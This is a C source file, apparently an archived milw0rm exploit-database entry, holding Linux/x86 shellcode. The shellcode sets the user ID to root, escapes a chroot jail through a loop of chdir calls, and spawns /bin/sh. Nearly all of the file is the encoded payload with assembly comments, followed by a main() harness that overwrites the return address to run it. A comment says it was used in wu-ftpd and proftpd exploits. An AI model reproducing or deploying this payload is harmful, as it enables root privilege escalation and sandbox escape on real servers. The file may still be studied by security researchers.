80 lines
No EOL
4.4 KiB
C
80 lines
No EOL
4.4 KiB
C
/*
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* Linux/x86
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*
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* - setreuid(0, 0);
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* - chroot-break (make a temp dir with mkdir(), chroot() to tempdir,
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* go through a loop of chdir(".."); then a final chroot(".");
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* - execve of /bin/sh
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*
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* (used in several wu-ftpd, beroftpd and proftpd exploits, amongst others)
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*/
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#include <stdio.h>
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char c0de[] =
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/* main: */
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"\x29\xc0" /* subl %eax, %eax */
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"\x29\xdb" /* subl %ebx, %ebx */
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"\x29\xc9" /* subl %ecx, %ecx */
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"\xb0\x46" /* movb $0x46, %al */
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"\xcd\x80" /* int $0x80 */
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"\xeb\x60" /* jmp callz */
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/* start: */
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"\x5e" /* popl %esi */
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"\x8d\x5e\x0f" /* leal 0x0f(%esi), %ebx */
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/* loopz: */
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"\x39\xf3\x7c" /* cmpl %esi, %ebx */
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"\x06\x80" /* jl after */
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"\x03\x04" /* addb $0x04, (%ebx) */
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"\x4b" /* decl %ebx */
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"\xeb\xf6" /* jmp loopz */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x46\x01" /* movb %al, 0x01(%esi) */
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"\x88\x46\x08" /* movb %al, 0x08(%esi) */
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"\x88\x46\x10" /* movb %al, 0x10(%esi) */
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"\x8d\x5e\x07" /* leal 0x07(%esi), %ebx */
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"\xb0\x0c" /* movb $0x0c, %al */
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"\xcd\x80" /* int $0x80 */
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"\x8d\x1e" /* leal (%esi), %ebx */
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"\x29\xc9" /* subl %ecx, %ecx */
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"\xb0\x27" /* movb $0x27, %al */
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"\xcd\x80" /* int $0x80 */
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"\x29\xc0" /* subl %eax, %eax */
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"\xb0\x3d" /* movb $0x3d, %al */
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"\xcd\x80" /* int $0x80 */
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"\x29\xc0" /* subl %eax, %eax */
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"\x8d\x5e\x02" /* leal 0x02(%esi), %ebx */
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"\xb0\x0c" /* movb $0x0c, %al */
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"\xcd\x80" /* int $0x80 */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x46\x03" /* movb %al, 0x03(%esi) */
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"\x8d\x5e\x02" /* leal 0x02(%esi), %ebx */
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"\xb0\x3d" /* movb $0x3d, %al */
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"\xcd\x80" /* int $0x80 */
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"\x8d\x5e\x09" /* leal 0x09(%esi), %ebx */
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"\x89\x5b\x08" /* movl %ebx, 0x08(%ebx) */
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"\x29\xc0" /* subl %eax, %eax */
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"\x88\x43\x07" /* movb %al, 0x07(%ebx) */
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"\x89\x43\x0c" /* movl %eax, 0x0c(%ebx) */
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"\xb0\x0b" /* movb $0x0b, %al */
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"\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */
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"\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */
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"\xcd\x80" /* int $0x80 */
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"\x29\xc0" /* subl %eax, %eax */
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"\x40" /* incl %eax */
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"\xcd\x80" /* int $0x80 */
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"\xe8\x9b\xff\xff\xff" /* call start */
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"\xff\xff\xff" /* markup */
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"\x3d\x3d\x2a\x2a\x2b\x2a\x2a\x2b\x3d\x2b\x5e\x65\x6a\x2b\x6f\x64";
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main() {
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int *ret;
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ret=(int *)&ret +2;
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printf("Shellcode lenght=%d\n",strlen(c0de));
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(*ret) = (int)c0de;
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}
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// milw0rm.com [2000-08-07]
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